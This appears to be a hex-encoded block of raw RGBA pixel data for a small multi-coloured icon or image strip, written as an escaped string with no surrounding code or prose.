FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF1C73BEFF009FFFFF0098FFFF0097\n      FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098\n      FFFF0097FFFF0098FFFF00A2FFFF46759EFF1EA5BDFF00EAFFFF01E6FFFF02E6\n      FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6\n      FFFF02E6FFFF01E5FFFF00EDFFFF4792A0FF446134FF242423FF242125FF2424\n      24FF252525FF252525FF252525FF252525FF252525FF252525FF252525FF2424\n      24FF242424FF242424FF242424FF545454FF34841FFF27AE01FF28AB02FF28AB\n      03FF29AB02FF29AB02FF29AB02FF29AB02FF29AB02FF29AB02FF29AB02FF29AB\n      02FF28AB03FF27AB02FF27B000FF528047FF2460AEFF0A72EEFF0A6FE8FF0B6F\n      E8FF0D6FE8FF0B73EBFF0C70E8FF0A72EAFF0A72EAFF0C71E8FF0B73EBFF0D6F\n      E8FF0B6FE8FF0A6FE8FF0972F3FF4B6F97FF22A5BEFF04DDFFFF07D8FFFF09D8\n      FFFF09D8FFFF09D8FFFF07D9FFFF07DAFFFF07DAFFFF07DAFFFF07DAFFFF07DA\n      FFFF07DAFFFF06DAFFFF04E0FFFF4694A3FF466F2FFF41871BFF24321DFF1B15\n      1EFF1D1D1EFF1E1E1EFF1D1D1DFF1D1D1DFF1D1D1DFF1D1D1DFF1E1E1EFF1E1E\n      1EFF1E1E1EFF1C1C1CFF1A1A1AFF4F4F4FFF30761FFF1F8E00FF1E8D00FF208D\n      00FF1F8D00FF218E00FF218E00FF218E00FF218E00FF218E00FF218E00FF1F8D\n      00FF208D00FF1F8D00FF1E8E00FF4E7944FF3FC4BAFF3AFFFFFF3AFFFFFF3BFF\n      FFFF39FFFFFF47FFEBFF3CFFFFFF54FFF7FF53FFF6FF3EFFFFFF47FFEBFF39FF\n      FFFF3BFFFFFF3AFFFFFF3BFFFFFF5BA19DFF249EB5FF0FC8DBFF11C5D7FF0BC7\n      FBFF0DC7FFFF0CCCFFFF14C3F4FF17B7EDFF17BBEFFF16BBEFFF16BBEFFF16BB\n      EFFF15BBEFFF14BAEFFF13B6F2FF488F9FFF40692AFF387D13FF3E8914FF2A4D\n      17FF130B16FF151415FF161616FF161616FF161616FF161616FF141414FF1515\n      15FF131313FF131313FF101010FF4D4D4DFF92A98AFFC0E3B3FFBADDADFFBADC\n      ADFFBCDCACFFBCDCAEFFBCDBAEFFBCDCAEFFBCDCAEFFBCDCAEFFBCDCAEFFBCDC\n      ACFFBADDADFFBADDADFFC3E6B4FF889683FF3FB7B7FF3AFFFFFF39FFFFFF3BFF\n      FFFF37FFFFFF70AF9AFF17A0D9FF1963AFFF1535CBFF1A94E3FF6EB39AFF37FF\n      FFFF3BFFFFFF39FFFFFF3AFFFFFF5B9A9AFF2D8881FF347000FF387200FF1075\n      EAFF0D72FFFF0C99FFFF2D7CCBFF3F44B0FF4C1D9AFF4A1F9CFF4B1C9AFF4B1E\n      9AFF4B1B99FF4B1597FF2F64C6FF4F7C95FF3C6624FF32780DFF35790EFF3881\n      10FF30690FFF181719FF131014FF0D0D0DFF0D0D0DFF0D0D0DFF0D0D0DFF0D0D\n      0DFF0C0C0CFF0B0B0BFF080808FF4A4A4AFF8A83B3FFB3A5F8FFADA2F0FFAEA3\n      EFFFAEA3EFFFAEA2EFFFAFA2EFFFB09BEDFFB09AEEFFADA6F1FFAEA2EFFFAEA3\n      EFFFAEA1EFFFADA2F0FFB5A6F9FF837E9AFF41B7B7FF3BFFFFFF3CFFFFFF3DFF\n      FFFF37FFFFFF6F7BC9FF1294D0FF22488FFF21429EFF1686DCFF6B78C5FF37FF\n      FFFF3DFFFFFF3BFFFFFF3CFFFFFF5B9A9AFF2C8983FF317300FF357600FF1178\n      ECFF0E75FFFF0C9DFFFF3662BDFF4C1E9AFF3D48B1FF375ABCFF2886D3FF3A4F\n      B5FF1CA7E6FF3358BBFF491399FF4E8096FF3B6625FF307709FF31760CFF3278\n      0DFF32780CFF3E8817FFEAF7E3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF3B259EFF300AD5FF320DD1FF330E\n      D2FF340FD2FF3609D0FF1877E9FF234AE0FF0EA2F3FF3605CFFF3411D2FF340F\n      D2FF330FD2FF310CD1FF310AD6FF56498EFF41B7B7FF40FFFFFF3DFFFFFF3CFF\n      FFFF36FFFFFF6C80C3FF0B48CFFF135CA5FFCDA6B4FFA1C1D2FF5A71C3FF38FF\n      FFFF3DFFFFFF3BFFFFFF3CFFFFFF5B9A9AFF2C8A84FF377701FF367600FF1078\n      ECFF0F77FFFF0C9DFFFF3564BFFF4C1A98FF229ADEFF10CDFAFF0ADCFFFF0DD6\n      FFFF0BD9FFFF3751B6FF48199CFF4E8096FF3C6624FF357B0CFF33770DFF3377\n      0EFF357910FF33770DFF1E6800FF85AE6EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF432C9FFF401CD8FF3E1BD4FF3C1C\n      D4FF3F1ED5FF4211D1FF296AE7FF08EAFFFF15B5F8FF4111D1FF3F1DD4FF3F1D\n      D5FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF44B7B7FF44FFFFFF45FFFFFF43FF\n      FFFF3DFFFFFF37A7AAFF269AEDFF000C9FFFA7A0BAFF80F7E9FF2E9AAAFF3EFF\n      FFFF3DFFFFFF3BFFFFFF3BFFFFFF5B9A9AFF2E8B85FF3B7A03FF3D8000FF1480\n      EDFF0E75FFFF0B9CFFFF3564BFFF4B1E9AFF3561BFFF2D76CBFF1DA7E7FF2B7B\n      CEFF1DA4E5FF2F67C4FF48179BFF4D8096FF3F6725FF39800EFF3A8011FF397C\n      11FF34770FFF31760BFF206B00FFA8C598FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF432E9FFF441ED9FF4522D7FF4421\n      D5FF3F1AD3FF333DDCFF2189ECFF0FD2FFFF2091EFFF2A6AE6FF3F17D3FF3F1D\n      D5FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF44B7B7FF48FFFFFF47FFFFFF49FF\n      FFFF4BFFFFFF45FFFFFF2A92D0FF0C3FA1FF00269DFF1E95D5FF3CFFFFFF3CFF\n      FFFF3BFFFFFF38FFFFFF3BFFFFFF5B9A9AFF2F8C85FF3E7D04FF418300FF1885\n      EDFF1483FFFF10A3FFFF3A64BEFF4B209BFF3D41AEFF3262C0FF268CD5FF2198\n      DCFF2D6FC7FF3F30A4FF4A179BFF4E8096FF3F6925FF3C830FFF3E8312FF3F83\n      14FF3E860BFF4B901BFFF1F9E4FFFBFBFBFFFBFBFAFFFBFBFAFFFBFBFAFFFBFB\n      FAFFFBFBFAFFFBFBFAFFFFFFFFFFA2A29DFF3F269FFF3D15D8FF3D17D5FF3F1A\n      D5FF401BD6FF3D16D4FF3C02CFFF1877EAFF3600CDFF350AD0FF3310D2FF330F\n      D2FF320ED2FF300CD1FF300AD7FF56498EFF44B7B7FF4BFFFFFF4AFFFFFF4CFF\n      FFFF4DFFFFFF4EFFFFFF52FFF7FF4FE0DCFF4EE6E1FF4EFFF8FF4AFFFFFF49FF\n      FFFF4AFFFFFF4AFFFFFF4FFFFFFF5B9A9AFF318B82FF447C00FF477D00FF1A83\n      EBFF167DFFFF14A1FFFF3989D1FF5144B1FF592DA4FF5826A1FF57229EFF5821\n      9DFF57249FFF5925A1FF4263C6FF507D96FF3F6A26FF3F8610FF418512FF408E\n      04FF446B4CFF4C21E2FF4016D6FF3B14D1FF3A13CFFF3812D0FF3710CEFF3710\n      CEFF3711D0FF3710D0FF3A0DDBFF54488EFF9187B4FFC1AFFBFFBCAAF3FFBAA9\n      F3FFBCABF3FFBCABF3FFBCABF3FFBCA9F2FFBCAAF3FFB8A9F3FFB8A8F2FFB8A8\n      F2FFB8A9F3FFB9A9F3FFC5B2FEFF86809BFF4ACFBAFF59FFFFFF57FFFFFF58FF\n      FFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FF\n      FFFF58FFFFFF57FFFFFF5BFFFFFF5DA79CFF2A98A5FF23B8A1FF28B79CFF16B9\n      F8FF15B8FFFF15C4FFFF26B7ECFF3098DDFF309ADEFF309BDEFF309BDEFF309B\n      DDFF2F9ADDFF2D97DCFF28A1E7FF4B8A9BFF3F6925FF418A0DFF419100FF4B4D\n      90FF5121EEFF502ADBFF502BDAFF502BDAFF502BDAFF502BDAFF502BDAFF502B\n      DAFF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFF92A286FFC5DFAFFFBED6A9FFBFD8\n      AAFFBFD7AAFFBFD7AAFFBFD7AAFFBFD7AAFFBFD8AAFFBFD8AAFFBFD8AAFFBFD8\n      AAFFC0D8AAFFBED7A9FFC6E2B0FF879180FF202097FF0100D7FF0400D0FF0600\n      D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700\n      D0FF0600D0FF0400D0FF0000DCFF494986FF229FBCFF09DEFFFF0CDAFFFF10DA\n      FFFF11DAFFFF11D9FFFF0FDAFFFF0EDDFFFF0EDDFFFF0EDDFFFF0EDDFFFF0EDD\n      FFFF0DDDFFFF0BDDFFFF07E3FFFF478D9DFF3F6D1FFF438614FF4D2EC9FF4F21\n      E6FF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4E27\n      DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFF38651FFF368300FF368100FF3782\n      02FF378203FF378203FF378203FF378203FF378203FF378203FF378203FF3782\n      03FF388202FF358100FF378300FF526B46FF2929A4FF3938E8FF3434E2FF3535\n      E2FF3736E2FF3636E2FF3636E2FF3636E2FF3636E2FF3636E2FF3636E2FF3736\n      E2FF3535E2FF3534E2FF3635E9FF52529BFF2FA5C0FF33E0FFFF31DDFFFF33DD\n      FFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DD\n      FFFF33DDFFFF31DDFFFF32E1FFFF559CACFF496056FF6740EEFF6340E5FF6443\n      E0FF6445E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6445\n      E0FF6343E0FF6342E0FF6644E2FF675B9DFF476F2FFF5C9A33FF5A9631FF5B98\n      33FF5B9733FF5B9733FF5B9733FF5B9733FF5B9733FF5B9733FF5B9733FF5B97\n      33FF5B9833FF5A9731FF5C9932FF637B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFC0BFC0FFBFBFBFFFC0BF\n      BFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFBFC0\n      C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0\n      C0FFBFC0C0FFBFBFC0FFBFBFBFFFFFFFFFFF3F9E9BFF08F8FFFF21C3A9FF3592\n      3CFF35913CFF349546FF339647FF339647FF339647FF339647FF339647FF3496\n      47FF329647FF339747FF349A48FF55785FFFAF7841FFF9A23EFFF69F3DFFF69F\n      3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F\n      3EFFF69F3EFFF69E3DFFFCA43FFF99785AFF776F1EFFB9B53FFFFFFFF2FFDC81\n      5EFFB42600FFBC390BFFBD3B0DFFBD3B0DFFBD3B0DFFBD3B0DFFBD3B0DFFBD3B\n      0DFFBD3B0EFFBC3A0DFFC23B0CFF855A4BFF9D683EFFDA833AFFD68139FFD780\n      3AFFD6813AFFD6813AFFD6813AFFD6813AFFD6813AFFD98139FFBF7848FFD881\n      37FFD78038FFC78347FFD7813BFF8E7057FF966325FFA3863CFF3BC9D6FF0AEB\n      FFFF25B2A5FF397A33FF397A32FF38813CFF38823EFF38823EFF38823EFF3882\n      3EFF37813DFF36813CFF35813BFF56755AFFAF7946FFE99741FFE59642FFE596\n      43FFE69643FFE69643FFE69643FFE69643FFE69643FFE69643FFE69643FFE696\n      43FFE59643FFE59642FFEB9941FF9A795BFF70711FFF7D8700FF788300FFD8E6\n      B4FFF9DCD7FFA6310FFFA42B08FFA93513FFA93513FFA93513FFA93513FFA935\n      13FFA83511FFA83410FFAB3110FF845849FF996642FFC5763DFFC2773DFFC277\n      3EFFC3783FFFC3783FFFC3783FFFC3783FFFC4763AFFB88F66FF62A8CAFFC27A\n      43FFCF7534FF7BAAA6FF949A8FFF906D55FF8E5D2AFFBF6710FFC65F02FFA579\n      37FF3FC5D4FF0EE8FFFF29ABA1FF3C6B2BFF3C6C2BFF3B7135FF3B7235FF3B72\n      35FF3A7136FF397033FF387232FF596E57FFA97646FFE59443FFE19145FFE193\n      46FFE19247FFE19247FFE19247FFE19247FFE19247FFE19247FFE19247FFE192\n      47FFE19346FFE19145FFE89444FF96785CFF53836AFF778200FF718505FF667B\n      00FF91A643FFFFFFFFFFC37567FF931900FF9D2D13FF9D2D14FF9D2D14FF9D2D\n      14FF9C2D13FF9C2C12FFA02A10FF7D554CFF906345FFBC7240FFBB7341FFBA72\n      42FFBC7442FFBB7342FFBB7342FFBB7341FFC2753FFF977A70FF838B7CFF8085\n      86FF61848FFFA28465FF787889FF8C6D57FF8F5626FFBE5B0CFFBC5C0FFFBF5B\n      0BFFCB5400FFA86F31FF42BFD2FF10E7FFFF2BA29EFF3F6124FF3E6024FF3D66\n      2EFF3C662EFF3B652CFF3A652BFF586955FFA77347FFE29047FFE09048FFDF8F\n      49FFDF914AFFDF904AFFDE8E45FFDE8C44FFDE8B41FFDF9049FFDF904AFFDF91\n      4AFFDF8F49FFE08E47FFE59146FF94765DFF2A5C79FF2BC3FAFF608A1FFF6981\n      00FF608005FF5B7C00FFD0E5BEFFF5D8DFFF9B2E21FF972819FF98291AFF9827\n      1AFF972819FF962517FF992515FF79534EFF8B6046FFB66F42FFB46E43FFB470\n      44FFB46F45FFB57045FFB57045FFB77144FFA37050FF1F2529FF29292FFF3E52\n      2EFF97A77CFFDCD1CAFF8B7865FF83695BFF915224FFBD5403FFBA5204FFBD58\n      0DFFBE590EFFC1560AFFC84600FFA9672DFF42BED2FF10E6FFFF2BA09CFF3F5C\n      21FF3E5A20FF3B5F28FF3A6028FF586654FFA5734AFFE18F47FFDF8D49FFDE8E\n      4AFFDE904BFFDD8D46FFE6AF7DFFE8B284FFF1D2B8FFDD8B45FFDE8F4AFFDE90\n      4BFFDE8E4AFFDF8D48FFE49047FF92755FFF232020FF091923FF15AFFFFF43A7\n      8DFF677B00FF62820AFF547500FF86A349FFEAF9E6FFE6F8E1FFE6F8E1FFE6F8\n      E1FFE6F8E2FFE7F7E1FFECFEE7FF969B94FF8B6046FFB46E42FFB16C44FFB26D\n      45FFB26E46FFB47047FFB36F47FFB87147FF855D45FF111719FF1D1F21FFAC9A\n      88FFA5A293FFB28364FF464E53FF856B5CFF8F5120FFD38A4FFFD69867FFBA52\n      06FFBE590FFFBB5409FFE2B798FFC5611AFFCB4B00FFA9682EFF42BED3FF10E6\n      FFFF2B9F9BFF3D5A1EFF3C5B1DFF5A6653FFA5744BFFE2944CFFDE8F4AFFDE8D\n      48FFDF904BFFDD8D46FFE29C60FFFFFFFFFFFBF5EFFFDD893FFFDE8F4AFFDF90\n      4BFFDF8F4AFFDF8E48FFE49147FF92755FFF242424FF0C0807FF0B0000FF125C\n      89FF26B8EEFF588A30FF62820BFF5D8009FF567900FF567800FF567800FF5579\n      00FF547700FF537600FF537900FF626E47FF8E603FFFB77148FFB26D44FFAF69\n      3EFFB06737FFB46C38FFB47045FFB47047FFC0774AFF393534FF37373AFF8696\n      8FFF69917DFFDCBBA5FF000005FF846D5FFF8F5020FFDFA97AFFF0D9C8FFBE59\n      09FFBB5305FFC26725FFF7EDE7FFC9763BFFBC570BFFC1570AFFCB4D00FFA968\n      2EFF42BED3FF0EE5FFFF28A09AFF5A6450FFA6754BFFE3954FFFE09451FFE094\n      50FFDE8E4AFFDE8E4AFFECC39FFFF9EEE2FFF2D3B8FFE8B486FFDD8C45FFDF90\n      4BFFDF8F4AFFDF8E48FFE49047FF92755FFF252525FF0D0907FF0F0400FF1775\n      AAFF2DB5D8FF5B851FFF62820DFF5C7D07FF557700FF557700FF557700FF5477\n      00FF537600FF527500FF527800FF626E47FF726DB8FFB96F39FFB46D3CFFDEB9\n      97FFD4CEFAFF9185F0FFB46C3CFFB47046FFBB7347FF5B4639FF86604DFF526E\n      5CFF375841FFE3B9A3FF323332FF886E5FFF925525FFC15C04FFC16110FFC773\n      2CFFD18D52FFBF5A09FFBD5B0FFFBB5409FFBD580FFFBD580FFFBD580FFFC056\n      09FFCA4C00FFA7662CFF3EC3D9FF4996ACFFA6754CFFE49953FFE19754FFE198\n      56FFE19856FFDF9551FFDD8A41FFE8B284FFDC8941FFDD8B44FFDE8E49FFDE8E\n      49FFDE8D48FFDE8C46FFE49147FF93755FFF242020FF10303FFF24BEFFFF55A7\n      71FF738600FF68880FFF567800FF9BB15CFFFFFFEDFFFCFEE8FFFCFEE8FFFCFE\n      E6FFFCFEE7FFFBFDE7FFFFFFECFF9D9E96FF776CACFFE7BD8BFFDAD4F3FF9A87\n      E1FFAC7A84FFC47C37FFB57149FFB26E46FFB56F45FFA06441FFA7836AFF8670\n      65FF846E62FFA57A63FF7D675BFF856D5DFF925626FFC6650EFFC1600AFFD391\n      56FFFFFFFFFFC76D21FFC36512FFC56816FFC46616FFC36515FFC36415FFC364\n      15FFC16414FFC6620DFFD65E00FF836951FFA6774CFFE69B56FFE29957FFE29A\n      59FFE29B59FFE29B59FFE29B59FFE09854FFE29A58FFE09856FFE19855FFE198\n      55FFE09855FFE29855FFE79D58FF93765FFF296B8FFF39C8E8FF6E9014FF718C\n      0AFF69890CFF6D8E12FFF0F6CAFFCBCFFFFF3349E9FF2D41E7FF2D41E7FF2C41\n      E7FF2C41E7FF2D43E7FF2D45EEFF515896FF503C9AFF947BEBFF8062DDFF9276\n      DAFF8F73DDFF8873EFFFBE7D4CFFBB7D54FFB87750FFC99775FFD5B699FF8276\n      72FF75635BFFD8BB9FFFD19971FF836A5CFF925624FFC9701BFFC66B19FFC361\n      09FFC97429FFC56814FFC56917FFC87022FFC56915FFC66A17FFC66917FFC669\n      16FFC66915FFC56813FFCA6B0FFF886348FFA6774DFFE59D58FFE39B59FFE39C\n      59FFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C\n      5BFFE39C5AFFE39B59FFE89E5AFF93765FFF4D7E5DFF778C00FF6E8E0EFF6185\n      00FFA5BA5FFFFFFFFFFF6E7CF4FF3348E4FF4255E6FF4457E7FF4457E7FF4357\n      E7FF4357E7FF4156E7FF4157EDFF585F94FF4B3599FF8161E6FF8061DBFF7A5D\n      DBFF7B5FE2FF7561F5FFBF814DFFBD8056FFBC7C55FFC28F6DFFC98E62FF7A6E\n      68FF6B6867FFCA9166FFC48C66FF836B5CFF90511FFFEECCABFFFBF4EDFFC465\n      09FFC5660BFFCB7423FFFFFFFFFFD48C46FFC5660BFFC76911FFC76911FFC76A\n      11FFC76A10FFC6690EFFCB6B0AFF866447FFA7774DFFE79F5AFFE39D59FFE39C\n      5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C\n      5AFFE39C5BFFE39D58FFEAA15BFF92755FFF5C6E1FFF6A8F02FF6F910CFFEFF4\n      C9FFC9CEFFFF374CE7FF3C52E7FF4257E8FF4257E8FF4257E8FF4257E8FF4257\n      E8FF4256E8FF4055E8FF4258EFFF555C93FF776DACFFCCA498FF9C88ECFFD8CC\n      ECFFE6C18EFFC68548FFBC8055FFBD7D56FFBD8056FFBD7C53FFBC8761FF808A\n      8FFFC58356FFBB7B52FFC28256FF836B5CFF985E2FFFD0792DFFD59154FFCD78\n      2FFFCE7B33FFCD762BFFD7955CFFCC7429FFCE7C33FFCE7C33FFCE7C33FFCE7B\n      33FFCD7B33FFCD7A31FFD17C32FF957055FFAD7B54FFEAAC72FFE6A86DFFE8A8\n      6DFFE8A86FFFE8A86EFFE8A86EFFE8A86EFFE8A86EFFE8A86EFFE8A86EFFE8A8\n      6FFFE8A86DFFE6A86EFFECAA70FFA2836BFF5E732BFFB9CA80FFF9F9FFFF8290\n      F9FF4A5DEAFF596AECFF5A6BECFF5A6BECFF5A6BECFF5A6BECFF5A6BECFF5A6B\n      ECFF5A6BECFF596AECFF5B6DF0FF6369A3FF776EB3FFCB8E59FFCF9965FFB289\n      A6FFAFA1F3FFCFC5ECFFC68D62FFC5906BFFC5906BFFC68F6AFFBF977BFFC39B\n      81FFC19273FFC68F69FFC9916CFF917869FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      